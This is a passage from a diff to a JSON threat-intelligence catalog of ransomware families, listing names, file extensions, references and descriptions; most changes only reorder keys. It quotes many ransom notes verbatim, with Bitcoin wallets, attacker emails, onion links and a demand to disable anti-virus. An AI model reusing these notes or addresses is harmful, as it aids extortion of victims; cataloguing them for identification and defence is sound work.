"What Happened to My Computer?\nYour important files are encrypted.\nMany of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are busy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service.\n\nCan I Recover My Files?\nSure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.\nBut if you want to decrypt all your files, you need to pay.\n\nHow Do I Pay?\nPayment is accepted in Bitcoin only.\nPlease check the current price of Bitcoin and buy some bitcoins.\nAnd send the correct amount to the address specified in this window.\n\nWe strongly recommend you to not remove this software, and disable your anti-virus for a while, until you pay and the payment gets processed. If your anti-virus gets updated and removes this software automatically, it will not be able to recover your files even if you pay!\nOnce the payment is sent, send us an e-mail to the specified address specifying your \"Client ID\", you will be sent your decryption key in return.\nHow to buy Bitcoins?\n\nStep 1 : Create a portfolio on the Blockchain website at the address : https://blockchain.info/fr/wallet/#/signup\nStep 2 : Sign in to your account you just created and purchase the amount shown : https://blockchain.info/wallet/#/buy-sell\n Step 3 : Send the amount to the indicated Bitcoin address, once this is done send us an email with your \"Client ID\" you can retreive this in the file \"instruction.txt\" or \"Whats Appens With My File.s.txt\" in order to ask us the key of decryption of your data.\n\nContact us at : spaghetih@protonmail.com\nSend 20$ to Bitcoin at 1MFA4PEuDoe2UCKgabrwm8P4KztASKtiuv if you want decrypt your files !\nYour Client ID is : [id]"
],
- "extensions": [
- ".FUCK"
+ "refs": [
+ "https://twitter.com/demonslay335/status/981270787905720320"
]
},
- "uuid": "b0ce2b90-4171-11e8-af82-0f4431fd2726"
+ "uuid": "b0ce2b90-4171-11e8-af82-0f4431fd2726",
+ "value": "OXAR"
},
{
- "value": "BansomQare Manna Ransomware",
- "uuid": "b95a76d8-4171-11e8-b9b3-1bf62ec3265e"
+ "uuid": "b95a76d8-4171-11e8-b9b3-1bf62ec3265e",
+ "value": "BansomQare Manna Ransomware"
},
{
- "value": "Haxerboi Ransomware",
- "uuid": "60e79876-4178-11e8-8c04-63662c94ba03"
+ "uuid": "60e79876-4178-11e8-8c04-63662c94ba03",
+ "value": "Haxerboi Ransomware"
},
{
- "value": "SkyFile",
"meta": {
"refs": [
"https://twitter.com/malwrhunterteam/status/982229994364547073"
]
},
- "uuid": "b4654c94-417a-11e8-8c2c-5b5748496f92"
+ "uuid": "b4654c94-417a-11e8-8c2c-5b5748496f92",
+ "value": "SkyFile"
},
{
- "value": "MC Ransomware",
"description": "Supposed joke ransomware, decrypt when running an exectable with the string \"Minecraft\"",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/minecraft-and-cs-go-ransomware-strive-for-media-attention/"
]
},
- "uuid": "443c55c6-43d1-11e8-9072-6fdcf89aa4e6"
+ "uuid": "443c55c6-43d1-11e8-9072-6fdcf89aa4e6",
+ "value": "MC Ransomware"
},
{
- "value": "CSGO Ransomware",
"description": "Supposed joke ransomware, decrypt when running an exectable with the string \"csgo\"",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/minecraft-and-cs-go-ransomware-strive-for-media-attention/"
]
},
- "uuid": "449e18b0-43d1-11e8-847e-0fed641732a1"
+ "uuid": "449e18b0-43d1-11e8-847e-0fed641732a1",
+ "value": "CSGO Ransomware"
},
{
- "value": "XiaoBa ransomware",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/xiaoba-ransomware-retooled-as-coinminer-but-manages-to-ruin-your-files-anyway/",
- "https://twitter.com/malwrhunterteam/status/923847744137154560",
- "https://twitter.com/struppigel/status/926748937477939200",
- "https://twitter.com/demonslay335/status/968552114787151873",
- "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/",
- "https://twitter.com/malwrhunterteam/status/1004048636530094081"
- ],
"extensions": [
".Encrypted[BaYuCheng@yeah.net].XiaBa",
".XiaoBa1",
@@ -9657,97 +9653,102 @@
"_XiaoBa_Info_.bmp",
"https://www.bleepstatic.com/images/news/columns/week-in-ransomware/2018/june/8/De8WvF_X0AARtYr[1].jpg",
"# # DECRYPT MY FILE # #.bmp"
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/xiaoba-ransomware-retooled-as-coinminer-but-manages-to-ruin-your-files-anyway/",
+ "https://twitter.com/malwrhunterteam/status/923847744137154560",
+ "https://twitter.com/struppigel/status/926748937477939200",
+ "https://twitter.com/demonslay335/status/968552114787151873",
+ "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/",
+ "https://twitter.com/malwrhunterteam/status/1004048636530094081"
]
},
- "uuid": "ef094aa6-4465-11e8-81ce-739cce28650b"
+ "uuid": "ef094aa6-4465-11e8-81ce-739cce28650b",
+ "value": "XiaoBa ransomware"
},
{
+ "description": "The NMCRYPT Ransomware is a generic file encryption Trojan that was detected in the middle of April 2018. The NMCRYPT Ransomware is a file encoder Trojan that is designed to make data unreadable and convince users to pay a fee for unlocking content on the infected computers. The NMCRYPT Ransomware is nearly identical to hundreds of variants of the HiddenTear open-source ransomware and compromised users are unable to use the Shadow Volume snapshots made by Windows to recover. Unfortunately, the NMCRYPT Ransomware disables the native recovery features on Windows, and you need third-party applications to rebuild your data.",
"meta": {
"date": "April 2018",
"encryption": "AES+RSA",
- "refs": [
- "https://sensorstechforum.com/nmcrypt-files-ransomware-virus-remove-restore-data/",
- "https://www.enigmasoftware.com/nmcryptansomware-removal/"
- ],
"extensions": [
".NMCRYPT"
],
"ransomnotes": [
"Encrypted files! All your files are encrypted. Using AES256-bit encryption and RSA-2048-bit encryption. Making it impossible to recover files without the correct private key. If you are interested in getting is the key and recover your files You should proceed with the following steps. The only way to decrypt your files safely is to buy the Descrypt and Private Key software. Any attempts to restore your files with the third-party software will be fatal for your files! Important use Firefox or Chrome browser To proceed with the purchase you must access one of the link below https://lylh3uqyzay3lhrd.onion.to/ https://lylh3uqyzay3lhrd.onion.link/ If neither of the links is online for a long period of time, there is another way to open it, you should install the Tor Browser...",
"https://sensorstechforum.com/wp-content/uploads/2018/04/stf-NMCRYPT-ransomware-virus-ransom-note-tor-onion-network-page-768x827.png"
+ ],
+ "refs": [
+ "https://sensorstechforum.com/nmcrypt-files-ransomware-virus-remove-restore-data/",
+ "https://www.enigmasoftware.com/nmcryptansomware-removal/"
]
},
- "description": "The NMCRYPT Ransomware is a generic file encryption Trojan that was detected in the middle of April 2018. The NMCRYPT Ransomware is a file encoder Trojan that is designed to make data unreadable and convince users to pay a fee for unlocking content on the infected computers. The NMCRYPT Ransomware is nearly identical to hundreds of variants of the HiddenTear open-source ransomware and compromised users are unable to use the Shadow Volume snapshots made by Windows to recover. Unfortunately, the NMCRYPT Ransomware disables the native recovery features on Windows, and you need third-party applications to rebuild your data.",
- "value": "NMCRYPT Ransomware",
- "uuid": "bd71be69-fb8c-4b1f-9d96-993ab23d5f2b"
+ "uuid": "bd71be69-fb8c-4b1f-9d96-993ab23d5f2b",
+ "value": "NMCRYPT Ransomware"
},
{
- "value": "Iron",
"description": "It is currently unknown if Iron is indeed a new variant by the same creators of Maktub, or if it was simply inspired by the latter, by copying the design for the payment portal for example.\nWe know the Iron ransomware has mimicked at least three ransomware families:Maktub (payment portal design)\nDMA Locker (Iron Unlocker, decryption tool)\nSatan (exclusion list)",
"meta": {
- "refs": [
- "https://bartblaze.blogspot.lu/2018/04/maktub-ransomware-possibly-rebranded-as.html"
- ],
"ransomnotes": [
"!HELP_YOUR_FILES.HTML",
"We’re very sorry that all of your personal files have been encrypted :( But there are good news – they aren’t gone, you still have the opportunity to restore them! Statistically, the lifespan of a hard-drive is anywhere from 3 to 5 years. If you don’t make copies of important information, you could lose everything! Just imagine! In order to receive the program that will decrypt all of your files, you will need to pay a certain amount. But let’s start with something else…"
+ ],
+ "refs": [
+ "https://bartblaze.blogspot.lu/2018/04/maktub-ransomware-possibly-rebranded-as.html"
]
},
- "uuid": "ba64d47c-46cd-11e8-87df-ff6252b4ea76"
+ "uuid": "ba64d47c-46cd-11e8-87df-ff6252b4ea76",
+ "value": "Iron"
},
{
- "value": "Tron ransomware",
"meta": {
- "refs": [
- "https://twitter.com/malwrhunterteam/status/985152346773696512"
- ],
"extensions": [
".tron"
],
"ransomnotes": [
"https://pbs.twimg.com/media/DavxIr-W4AEq3Ny.jpg"
+ ],
+ "refs": [
+ "https://twitter.com/malwrhunterteam/status/985152346773696512"
]
},
- "uuid": "94290f1c-46ff-11e8-b9c6-ef8852c58952"
+ "uuid": "94290f1c-46ff-11e8-b9c6-ef8852c58952",
+ "value": "Tron ransomware"
},
{
- "value": "Unnamed ramsomware 1",
"description": "A new in-development ransomware was discovered that has an interesting characteristic. Instead of the distributed executable performing the ransomware functionality, the executables compiles an embedded encrypted C# program at runtime and launches it directly into memory.",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/new-c-ransomware-compiles-itself-at-runtime/"
- ],
"extensions": [
"sequre@tuta.io_[hex]"
],
"ransomnotes": [
"HOW DECRIPT FILES.hta",
"https://www.bleepstatic.com/images/news/ransomware/c/compiled-ransomware/ransom-note.jpg"
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/new-c-ransomware-compiles-itself-at-runtime/"
]
},
- "uuid": "c1788ac0-4fa0-11e8-b0fd-63f5a2914926"
+ "uuid": "c1788ac0-4fa0-11e8-b0fd-63f5a2914926",
+ "value": "Unnamed ramsomware 1"
},
{
- "value": "HPE iLO 4 Ransomware",
"description": "Attackers are targeting Internet accessible HPE iLO 4 remote management interfaces, supposedly encrypting the hard drives, and then demanding Bitcoins to get access to the data again.\nAccording to the victim, the attackers are demanding 2 bitcoins to gain access to the drives again. The attackers will also provide a bitcoin address to the victim that should be used for payment. These bitcoin addresses appear to be unique per victim as the victim's was different from other reported ones.\nAn interesting part of the ransom note is that the attackers state that the ransom price is not negotiable unless the victim's are from Russia. This is common for Russian based attackers, who in many cases tries to avoid infecting Russian victims.\nFinally, could this be a decoy/wiper rather than an actual true ransomware attack? Ransomware attacks typically provide a unique ID to the victim in order to distinguish one victim from another. This prevents a victim from \"stealing\" another victim's payment and using it to unlock their computer.\nIn a situation like this, where no unique ID is given to identify the encrypted computer and the email is publicly accessible, it could be a case where the main goal is to wipe a server or act as a decoy for another attack.",
"meta": {
+ "ransomnotes": [
+ "Security Notice\n\nHey. Your hard disk is encrypted using RSA 2048 asymmetric encryption. To decrypt files you need to obtain the private key.\nIt means We are the only ones in the world to recover files back to you. Not even god can help you. Its all math and cryptography .\nIf you want your files back, Please send an email to 15fd9ngtetwjtdc@yopmail.com.\nWe don't know who are you, All what we need is some money and we are doing it for good cause.\nDon't panic if we don't answer you during 24 hours. It means that we didn't received your letter and write us again.\nYou can use of that bitcoin exchangers for transfering bitcoin.\nhttps://localbitcoins.com\nhttps://www.kraken.com\nPlease use english language in your letters. If you don't speak english then use https://translate.google.com to translate your letter on english language.\n\nProcess:\n1) Pay some BTC to our wallet address.(negotations almost impossible unless you are a russian citizen)\n2) We will send you private key and instructions to decrypt your hard drive\n3) Boom! You got your files back."
+ ],
"refs": [
"https://www.bleepingcomputer.com/news/security/ransomware-hits-hpe-ilo-remote-management-interfaces/",
"https://twitter.com/M_Shahpasandi/status/989157283799162880"
- ],
- "ransomnotes": [
- "Security Notice\n\nHey. Your hard disk is encrypted using RSA 2048 asymmetric encryption. To decrypt files you need to obtain the private key.\nIt means We are the only ones in the world to recover files back to you. Not even god can help you. Its all math and cryptography .\nIf you want your files back, Please send an email to 15fd9ngtetwjtdc@yopmail.com.\nWe don't know who are you, All what we need is some money and we are doing it for good cause.\nDon't panic if we don't answer you during 24 hours. It means that we didn't received your letter and write us again.\nYou can use of that bitcoin exchangers for transfering bitcoin.\nhttps://localbitcoins.com\nhttps://www.kraken.com\nPlease use english language in your letters. If you don't speak english then use https://translate.google.com to translate your letter on english language.\n\nProcess:\n1) Pay some BTC to our wallet address.(negotations almost impossible unless you are a russian citizen)\n2) We will send you private key and instructions to decrypt your hard drive\n3) Boom! You got your files back."
]
},
- "uuid": "39cb0268-528b-11e8-ac30-0fa44afdc8de"
+ "uuid": "39cb0268-528b-11e8-ac30-0fa44afdc8de",
+ "value": "HPE iLO 4 Ransomware"
},
{
- "value": "Sigrun Ransomware",
"description": "When Sigrun is executed it will first check \"HKEY_CURRENT_USER\\Keyboard Layout\\Preload\" to see if it is set to the Russian layout. If the computer is using a Russian layout, it will not encrypt the computer and just delete itself. Otherwise Sigrun will scan a computer for files to encrypt and skip any that match certain extensions, filenames, or are located in particular folders. ",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/sigrun-ransomware-author-decrypting-russian-victims-for-free/"
- ],
"extensions": [
".sigrun"
],
@@ -9756,48 +9757,47 @@
"~~~~~~SIGRUN 1.0 RANSOMWARE~~~~~~~~~\n\nAttention! \n\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .sigrun\n\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \n\nBut don't worry! You still can restore it!\n\nIn order to restore it you need to contact with us via e-mail.\n\n-----------------------------------------------\n|Our e-mail is: sigrun_decryptor@protonmail.ch|\n-----------------------------------------------\n\nAs a proof we will decrypt 3 files for free!\n\nPlease, attach this to your message:\n[id_key]",
"RESTORE-SIGRUN.html",
"RESTORE-SIGRUN.txt"
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/sigrun-ransomware-author-decrypting-russian-victims-for-free/"
]
},
- "uuid": "5a53eec2-6993-11e8-a4d5-67480005dcbd"
+ "uuid": "5a53eec2-6993-11e8-a4d5-67480005dcbd",
+ "value": "Sigrun Ransomware"
},
{
- "value": "CryBrazil",
"description": "Mostly Hidden Tear with some codes from Eda2 & seems compiled w/ Italian VS. Maybe related to OpsVenezuela?",
"meta": {
- "refs": [
- "https://twitter.com/malwrhunterteam/status/1002953824590614528",
- "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/"
- ],
"extensions": [
".crybrazil"
],
"ransomnotes": [
"https://www.bleepstatic.com/images/news/columns/week-in-ransomware/2018/june/8/crybrazil.jpg"
+ ],
+ "refs": [
+ "https://twitter.com/malwrhunterteam/status/1002953824590614528",
+ "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/"
]
},
- "uuid": "30625df6-6e3e-11e8-b0cf-a7103cb03e05"
+ "uuid": "30625df6-6e3e-11e8-b0cf-a7103cb03e05",
+ "value": "CryBrazil"
},
{
- "value": "Pedcont",
"description": "new destrucrtive ransomware called Pedcont that claims to encrypt files because the victim has accessed illegal content on the deep web. The screen then goes blank and becomes unresponsive.",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/ "
- ],
"ransomnotes": [
"https://www.bleepstatic.com/images/news/columns/week-in-ransomware/2018/june/8/De00yEDVQAE_p9z[1].jpg"
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/ "
]
},
- "uuid": "b0e074fc-6e45-11e8-8366-dbfc88552a23 "
+ "uuid": "b0e074fc-6e45-11e8-8366-dbfc88552a23 ",
+ "value": "Pedcont"
},
{
- "value": "DiskDoctor",
"description": "new Scarab Ransomware variant called DiskDoctor that appends the .DiskDoctor extension and drops a ransom note named HOW TO RECOVER ENCRYPTED FILES.TXT",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.com/2018/06/scarab-diskdoctor-ransomware.html",
- "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/"
- ],
"extensions": [
".DiskDoctor"
],
@@ -9805,92 +9805,96 @@
"HOW TO RECOVER ENCRYPTED FILES.TXT",
"https://www.bleepstatic.com/images/news/columns/week-in-ransomware/2018/june/8/De2sj4GW0AAuQer[1].jpg"
],
+ "refs": [
+ "https://id-ransomware.blogspot.com/2018/06/scarab-diskdoctor-ransomware.html",
+ "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/"
+ ],
"synonyms": [
"Scarab-DiskDoctor"
]
},
- "uuid": "aa66e0c2-6fb5-11e8-851d-4722b7b3e9b9"
+ "uuid": "aa66e0c2-6fb5-11e8-851d-4722b7b3e9b9",
+ "value": "DiskDoctor"
},
{
- "value": "RedEye",
"description": "Jakub Kroustek discovered the RedEye Ransomware, which appends the .RedEye extension and wipes the contents of the files. RedEye can also rewrite the MBR with a screen that gives authors contact info and YouTube channel. Bart also wrote an article on this ransomware detailing how it works and what it does on a system.The ransomware author contacted BleepingComputer and told us that this ransomware was never intended for distribution and was created just for fun.",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/",
- "https://twitter.com/JakubKroustek/status/1004463935905509376",
- "https://bartblaze.blogspot.com/2018/06/redeye-ransomware-theres-more-than.html"
- ],
"extensions": [
".RedEye"
],
"ransomnotes": [
"https://www.bleepstatic.com/images/news/columns/week-in-ransomware/2018/june/8/DfCO0T2WsAQvclJ[1].jpg"
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/",
+ "https://twitter.com/JakubKroustek/status/1004463935905509376",
+ "https://bartblaze.blogspot.com/2018/06/redeye-ransomware-theres-more-than.html"
]
},
- "uuid": "e675e8fa-7065-11e8-95e0-cfdc107099d8"
+ "uuid": "e675e8fa-7065-11e8-95e0-cfdc107099d8",
+ "value": "RedEye"
},
{
- "value": "Aurora Ransomware",
"description": "Typical ransom software, Aurora virus plays the role of blackmailing PC operators. It encrypts files and the encryption cipher it uses is pretty strong. After encryption, the virus attaches .aurora at the end of the file names that makes it impossible to open the data. Thereafter, it dispatches the ransom note totaling 6 copies, without any change to the main objective i.e., victims must write an electronic mail addressed to anonimus.mr@yahoo.com while stay connected until the criminals reply telling the ransom amount.",
"meta": {
+ "ransomnotes": [
+ "#RECOVERY-PC#.txt",
+ "==========================# aurora ransomware #==========================\n\nSORRY! Your files are encrypted.\nFile contents are encrypted with random key.\nWe STRONGLY RECOMMEND you NOT to use any \"decryption tools\".\nThese tools can damage your data, making recover IMPOSSIBLE.\nAlso we recommend you not to contact data recovery companies.\nThey will just contact us, buy the key and sell it to you at a higher price.\nIf you want to decrypt your files, you have to get RSA private key.\nIn order to get private key, write here:\nbig.fish@vfemail.net\nAnd send me your id, your id:\n[redacted]\nAnd pay 200$ on 1GSbmCoKzkHVkSUxqdSH5t8SxJQVnQCeYf wallet\nIf someone else offers you files restoring, ask him for test decryption.\n Only we can successfully decrypt your files; knowing this can protect you from fraud.\nYou will receive instructions of what to do next.\n==========================# aurora ransomware #=========================="
+ ],
"refs": [
"https://www.spamfighter.com/News-21588-Aurora-Ransomware-Circulating-the-Cyber-Space.htm",
"https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/",
"https://twitter.com/demonslay335/status/1004435398687379456"
- ],
- "ransomnotes": [
- "#RECOVERY-PC#.txt",
- "==========================# aurora ransomware #==========================\n\nSORRY! Your files are encrypted.\nFile contents are encrypted with random key.\nWe STRONGLY RECOMMEND you NOT to use any \"decryption tools\".\nThese tools can damage your data, making recover IMPOSSIBLE.\nAlso we recommend you not to contact data recovery companies.\nThey will just contact us, buy the key and sell it to you at a higher price.\nIf you want to decrypt your files, you have to get RSA private key.\nIn order to get private key, write here:\nbig.fish@vfemail.net\nAnd send me your id, your id:\n[redacted]\nAnd pay 200$ on 1GSbmCoKzkHVkSUxqdSH5t8SxJQVnQCeYf wallet\nIf someone else offers you files restoring, ask him for test decryption.\n Only we can successfully decrypt your files; knowing this can protect you from fraud.\nYou will receive instructions of what to do next.\n==========================# aurora ransomware #=========================="
]
},
- "uuid": "3ee0664e-706d-11e8-800d-9f690298b437"
+ "uuid": "3ee0664e-706d-11e8-800d-9f690298b437",
+ "value": "Aurora Ransomware"
},
{
- "value": "PGPSnippet Ransomware",
"meta": {
- "refs": [
- "https://twitter.com/demonslay335/status/1005138187621191681"
- ],
"extensions": [
".digiworldhack@tutanota.com"
],
"ransomnotes": [
"https://www.bleepstatic.com/images/news/columns/week-in-ransomware/2018/june/8/pgpsnippet-variant.jpg"
+ ],
+ "refs": [
+ "https://twitter.com/demonslay335/status/1005138187621191681"
]
},
- "uuid": "682ff7ac-7073-11e8-8c8b-bf1271b8800b"
+ "uuid": "682ff7ac-7073-11e8-8c8b-bf1271b8800b",
+ "value": "PGPSnippet Ransomware"
},
{
- "value": "Spartacus Ransomware",
"meta": {
- "refs": [
- "https://twitter.com/demonslay335/status/1005136022282428419"
- ],
"extensions": [
".SF"
+ ],
+ "refs": [
+ "https://twitter.com/demonslay335/status/1005136022282428419"
]
},
- "uuid": "fe42c270-7077-11e8-af82-d7bf7e6ab8a9"
+ "uuid": "fe42c270-7077-11e8-af82-d7bf7e6ab8a9",
+ "value": "Spartacus Ransomware"
},
{
- "value": "Donut",
"description": "S!Ri found a new ransomware called Donut that appends the .donut extension and uses the email donutmmm@tutanota.com.",
"meta": {
- "refs": [
- "https://twitter.com/siri_urz/status/1005438610806583296",
- "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-15th-2018-dbger-scarab-and-more/"
- ],
"extensions": [
".donut"
],
"ransomnotes": [
"https://www.bleepstatic.com/images/news/columns/week-in-ransomware/2018/june/15/DfQI_lnXUAAukGK[1].jpg"
+ ],
+ "refs": [
+ "https://twitter.com/siri_urz/status/1005438610806583296",
+ "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-15th-2018-dbger-scarab-and-more/"
]
},
- "uuid": "e57e1f4a-72da-11e8-8c0d-af46e8f393d2"
+ "uuid": "e57e1f4a-72da-11e8-8c0d-af46e8f393d2",
+ "value": "Donut"
},
{
- "value": "NemeS1S Ransomware",
"description": "Ransomware as a Service",
"meta": {
"refs": [
@@ -9898,32 +9902,29 @@
"https://www.bleepingcomputer.com/news/security/nemes1s-raas-is-padcrypt-ransomwares-affiliate-system/"
]
},
- "uuid": "3ac0f41e-72e0-11e8-85a8-f7ae254ab629"
+ "uuid": "3ac0f41e-72e0-11e8-85a8-f7ae254ab629",
+ "value": "NemeS1S Ransomware"
},
{
- "value": "Paradise Ransomware",
"description": "MalwareHunterTeam discovered a new Paradise Ransomware variant that uses the extension _V.0.0.0.1{paradise@all-ransomware.info}.prt and drops a ransom note named PARADISE_README_paradise@all-ransomware.info.txt.",
"meta": {
- "refs": [
- "https://twitter.com/malwrhunterteam/status/1005420103415017472",
- "https://twitter.com/malwrhunterteam/status/993499349199056897"
- ],
"extensions": [
"_V.0.0.0.1{paradise@all-ransomware.info}.prt"
],
"ransomnotes": [
"PARADISE_README_paradise@all-ransomware.info.txt"
+ ],
+ "refs": [
+ "https://twitter.com/malwrhunterteam/status/1005420103415017472",
+ "https://twitter.com/malwrhunterteam/status/993499349199056897"
]
},
- "uuid": "db06d2e0-72f9-11e8-9413-73999e1a9373"
+ "uuid": "db06d2e0-72f9-11e8-9413-73999e1a9373",
+ "value": "Paradise Ransomware"
},
{
- "value": "B2DR Ransomware",
"description": "uses the .reycarnasi1983@protonmail.com.gw3w amd a ransom note named ScrewYou.txt",
"meta": {
- "refs": [
- "https://twitter.com/demonslay335/status/1006220895302705154"
- ],
"extensions": [
".reycarnasi1983@protonmail.com.gw3w",
".ssananunak1987@protonmail.com.b2fr"
@@ -9933,49 +9934,49 @@
"ScrewYou.txt",
"Readme.txt",
"Your files were encrypted with AES-256.\n\nAsk how to restore your files by email ssananunak1987@protonmail.com\n\nUse only gmail.com, yahoo.com, protonmail.com.\nMessages written from other mail services we can not get.\n\nWe always respond to messages. If there is no answer within 24 hours, then write us with another email service.\n\n[OR]\n\nIf within 24 hours you have not received a response, you need to follow the following instructions:\n\na) Download and install TOR browser: https://www.torproject.org/download/download-easy.html.en\nb) From the TOR browser, follow the link: torbox3uiot6wchz.onion\nc) Register your e-mail (Sign Up)\nd) Write us on e-mail: ssananunak1987@torbox3uiot6wchz.onion\nATTENTION: e-mail (ssananunak1987@torbox3uiot6wchz.onion) accepts emails, only with e-mail registered in the TOR browser at torbox3uiot6wchz.onion\n\n################################\n\nAny actions on your part over encrypted files can damage them. Be sure to make backups!\n\n################################\n\nIn the message write us this ID:\n[redacted base64]"
+ ],
+ "refs": [
+ "https://twitter.com/demonslay335/status/1006220895302705154"
]
},
- "uuid": "4a341cf4-72ff-11e8-8371-b74902a1dff3"
+ "uuid": "4a341cf4-72ff-11e8-8371-b74902a1dff3",
+ "value": "B2DR Ransomware"
},
{
- "value": "YYTO Ransomware",
"description": "uses the extension .codyprince92@mail.com.ovgm and drops a ransom note named Readme.txt",
"meta": {
- "refs": [
- "https://twitter.com/demonslay335/status/1006237353474756610"
- ],
"extensions": [
".codyprince92@mail.com.ovgm"
],
"ransomnotes": [
"Readme.txt",
"Hello. Your files have been encrypted.\n\nFor help, write to this e-mail: codyprince92@mail.com\nAttach to the letter 1-2 files (no more than 3 MB) and your personal key.\n\n\nIf within 24 hours you have not received a response, you need to follow the following instructions:\n\n\na) Download and install TOR browser: https://www.torproject.org/download/download-easy.html.en\nb) From the TOR browser, follow the link: torbox3uiot6wchz.onion\nc) Register your e-mail (Sign Up)\nd) Write us on e-mail: codyprince@torbox3uiot6wchz.onion\n\n\nATTENTION: e-mail (codyprince@torbox3uiot6wchz.onion) accepts emails, only with e-mail registered in the TOR browser at torbox3uiot6wchz.onion\n\n\n\nYour personal key:\n\n[redacted hex]"
+ ],
+ "refs": [
+ "https://twitter.com/demonslay335/status/1006237353474756610"
]
},
- "uuid": "ef38d8b4-7392-11e8-ba1e-cfb37f0b9c73"
+ "uuid": "ef38d8b4-7392-11e8-ba1e-cfb37f0b9c73",
+ "value": "YYTO Ransomware"
},
{
- "value": "Unnamed ramsomware 2",
"meta": {
- "refs": [
- "https://twitter.com/demonslay335/status/1007334654918250496"
+ "extensions": [
+ ".qnbqw"
],
"ransomnotes": [
"Notice.txt",
"Your files was encrypted using AES-256 algorithm. Write me to e-mail: qnbqwqe@protonmail.com to get your decryption key.\nYour USERKEY: [redacted 1024 bytes in base64]"
],
- "extensions": [
- ".qnbqw"
+ "refs": [
+ "https://twitter.com/demonslay335/status/1007334654918250496"
]
},
- "uuid": "53e6e068-739c-11e8-aae4-df58f7f27ee5"
+ "uuid": "53e6e068-739c-11e8-aae4-df58f7f27ee5",
+ "value": "Unnamed ramsomware 2"
},
{
- "value": "Everbe Ransomware",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/decryptor-released-for-the-everbe-ransomware/"
- ],
"extensions": [
".[everbe@airmail.cc].everbe",
".embrace",
@@ -9984,26 +9985,26 @@
"ransomnotes": [
"!=How_recovery_files=!.txt",
"Hi !\nIf you want restore your files write on email - everbe@airmail.cc\nIn the subject write - id-de9bcb"
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/decryptor-released-for-the-everbe-ransomware/"
]
},
- "uuid": "9d09ac4a-73a0-11e8-b71c-63b86eedf9a2"
+ "uuid": "9d09ac4a-73a0-11e8-b71c-63b86eedf9a2",
+ "value": "Everbe Ransomware"
},
{
- "value": "DirCrypt",
"meta": {
"refs": [
"https://www.johannesbader.ch/2015/03/the-dga-of-dircrypt/"
]
},
- "uuid": "cdcc59a0-955e-412d-b481-8dff4bce6fdf"
+ "uuid": "cdcc59a0-955e-412d-b481-8dff4bce6fdf",
+ "value": "DirCrypt"
},
{
- "value": "DBGer Ransomware",
"description": "The authors of the Satan ransomware have rebranded their \"product\" and they now go by the name of DBGer ransomware, according to security researcher MalwareHunter, who spotted this new version earlier today. The change was not only in name but also in the ransomware's modus operandi. According to the researcher, whose discovery was later confirmed by an Intezer code similarity analysis, the new (Satan) DBGer ransomware now also incorporates Mimikatz, an open-source password-dumping utility. The purpose of DBGer incorporating Mimikatz is for lateral movement inside compromised networks. This fits a recently observed trend in Satan's modus operandi.",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/dbger-ransomware-uses-eternalblue-and-mimikatz-to-spread-across-networks/"
- ],
"extensions": [
"image.png -- > [dbger@protonmail.com]image.png.dbger"
],
@@ -10011,22 +10012,25 @@
"_How_to_decrypt_files.txt",
"Some files have been encrypted\nPlease send ( 1 ) bitcoins to my wallet address\nIf you paid, send the machine code to my email\nI will give you the key\nIf there is no payment within three days,\nwe will no longer support decryption\nIf you exceed the payment time, your data will be open to the public download\nWe support decrypting the test file.\nSend three small than 3 MB files to the email address\n\nBTC Wallet : [redacted]\nEmail: dbger@protonmail.com\nYour HardwareID:",
"https://www.bleepstatic.com/images/news/u/986406/Ransomware/DBGer/DBGer-ransom-note.png"
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/dbger-ransomware-uses-eternalblue-and-mimikatz-to-spread-across-networks/"
]
},
- "uuid": "541a479c-73a5-11e8-9d70-47736508231f"
+ "uuid": "541a479c-73a5-11e8-9d70-47736508231f",
+ "value": "DBGer Ransomware"
},
{
- "value": "RASTAKHIZ",
"description": "Hidden Tear variant discovered in October 2016. After activation, provides victims with an unlimited amount of time to gather the requested ransom money and pay it. Related unlock keys and the response sent to and from a Gmail addres",
"meta": {
"refs": [
"https://www.accenture.com/t20180803T064557Z__w__/us-en/_acnmedia/PDF-83/Accenture-Cyber-Threatscape-Report-2018.pdf"
]
},
- "uuid": "884eaa14-9ba8-11e8-a6ec-7f903f720e60"
+ "uuid": "884eaa14-9ba8-11e8-a6ec-7f903f720e60",
